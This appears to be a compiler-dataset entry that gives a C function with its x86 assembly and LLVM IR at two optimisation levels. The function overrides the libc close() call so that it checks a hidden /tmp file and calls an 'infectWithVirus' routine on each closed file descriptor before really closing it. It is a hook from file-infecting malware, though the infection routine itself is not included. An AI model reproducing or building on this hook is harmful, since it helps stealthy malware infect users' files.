#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ __NR_close;
int /*<<< orphan*/ __NR_open;
int getpid();
int getuid();
int /*<<< orphan*/ infectWithVirus(int, int, char *);
int /*<<< orphan*/ sprintf(char *, char *, int, int);
int syscall(int /*<<< orphan*/, ...);
int /*<<< orphan*/ unlink(char *);
int close(int fildes) {
  int tempFd;
  char buf[100];
  sprintf(buf, "/tmp/.%u.%u", getpid(), getuid());
  if ((tempFd = syscall(__NR_open, buf, O_RDONLY)) != -1) {
    infectWithVirus(fildes, tempFd, buf);
    unlink(buf);
  }
  return syscall(__NR_close, fildes);
}


x86 assembly (clang, -O0):
<close>:
push   %rbp
mov    %rsp,%rbp
sub    $0x80,%rsp
mov    %edi,-0x4(%rbp)
lea    -0x70(%rbp),%rax
mov    %rax,-0x80(%rbp)
mov    $0x0,%al
call   1050 <getpid@plt>
mov    %eax,-0x74(%rbp)
mov    $0x0,%al
call   1060 <getuid@plt>
mov    -0x80(%rbp),%rdi
mov    -0x74(%rbp),%edx
mov    %eax,%ecx
lea    0xe69(%rip),%rsi
call   1080 <sprintf@plt>
mov    0x2e4d(%rip),%rax
mov    (%rax),%edi
lea    -0x70(%rbp),%rsi
mov    0x2e28(%rip),%rax
mov    (%rax),%edx
mov    $0x0,%al
call   1070 <syscall@plt>
mov    %eax,-0x8(%rbp)
cmp    $0xffffffff,%eax
je     11dd <close+0x7d>
mov    -0x4(%rbp),%edi
mov    -0x8(%rbp),%esi
lea    -0x70(%rbp),%rdx
call   1030 <infectWithVirus@plt>
lea    -0x70(%rbp),%rdi
call   1040 <unlink@plt>
mov    0x2dfc(%rip),%rax
mov    (%rax),%edi
mov    -0x4(%rbp),%esi
mov    $0x0,%al
call   1070 <syscall@plt>
add    $0x80,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<close>:
push   %rbp
push   %r14
push   %rbx
sub    $0x70,%rsp
mov    %edi,%r14d
xor    %eax,%eax
call   1050 <getpid@plt>
mov    %eax,%ebp
xor    %eax,%eax
call   1060 <getuid@plt>
lea    0xe7e(%rip),%rsi
mov    %rsp,%rbx
mov    %rbx,%rdi
mov    %ebp,%edx
mov    %eax,%ecx
call   1080 <sprintf@plt>
mov    0x2e58(%rip),%rax
mov    (%rax),%edi
mov    0x2e37(%rip),%rax
mov    (%rax),%edx
mov    %rbx,%rsi
xor    %eax,%eax
call   1070 <syscall@plt>
cmp    $0xffffffff,%eax
je     11ca <close+0x6a>
mov    %rsp,%rbx
mov    %r14d,%edi
mov    %eax,%esi
mov    %rbx,%rdx
call   1030 <infectWithVirus@plt>
mov    %rbx,%rdi
call   1040 <unlink@plt>
mov    0x2e0f(%rip),%rax
mov    (%rax),%edi
mov    %r14d,%esi
xor    %eax,%eax
call   1070 <syscall@plt>
add    $0x70,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@.str = [12 x i8] c"/tmp/.%u.%u\00"
@__NR_open = global i32 0
@O_RDONLY = global i32 0
@__NR_close = global i32 0
define i32 @close(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca [100 x i8]
store i32 %0, i32* %2
%5 = getelementptr inbounds [100 x i8], [100 x i8]* %4, i64 0, i64 0
%6 = call i32 (...) @getpid()
%7 = call i32 (...) @getuid()
%8 = call i32 @sprintf(i8* %5, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %6, i32 %7)
%9 = load i32, i32* @__NR_open
%10 = getelementptr inbounds [100 x i8], [100 x i8]* %4, i64 0, i64 0
%11 = load i32, i32* @O_RDONLY
%12 = call i32 (i32, ...) @syscall(i32 %9, i8* %10, i32 %11)
store i32 %12, i32* %3
%13 = icmp ne i32 %12, -1
br i1 %13, label %14, label %21
14: ; preds = %1
%15 = load i32, i32* %2
%16 = load i32, i32* %3
%17 = getelementptr inbounds [100 x i8], [100 x i8]* %4, i64 0, i64 0
%18 = call i32 @infectWithVirus(i32 %15, i32 %16, i8* %17)
%19 = getelementptr inbounds [100 x i8], [100 x i8]* %4, i64 0, i64 0
%20 = call i32 @unlink(i8* %19)
br label %21
21: ; preds = %14, %1
%22 = load i32, i32* @__NR_close
%23 = load i32, i32* %2
%24 = call i32 (i32, ...) @syscall(i32 %22, i32 %23)
ret i32 %24
}

LLVM IR (-O2):
@.str = [12 x i8] c"/tmp/.%u.%u\00"
@__NR_open = global i32 0
@O_RDONLY = global i32 0
@__NR_close = global i32 0
define i32 @close(i32 %0) {
%2 = alloca [100 x i8]
%3 = getelementptr inbounds [100 x i8], [100 x i8]* %2, i64 0, i64 0
%4 = tail call i32 (...) @getpid()
%5 = tail call i32 (...) @getuid()
%6 = call i32 @sprintf(i8* %3, i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), i32 %4, i32 %5)
%7 = load i32, i32* @__NR_open
%8 = load i32, i32* @O_RDONLY
%9 = call i32 (i32, ...) @syscall(i32 %7, i8* %3, i32 %8)
%10 = icmp eq i32 %9, -1
br i1 %10, label %14, label %11
11: ; preds = %1
%12 = call i32 @infectWithVirus(i32 %0, i32 %9, i8* %3)
%13 = call i32 @unlink(i8* %3)
br label %14
14: ; preds = %11, %1
%15 = load i32, i32* @__NR_close
%16 = call i32 (i32, ...) @syscall(i32 %15, i32 %0)
ret i32 %16
}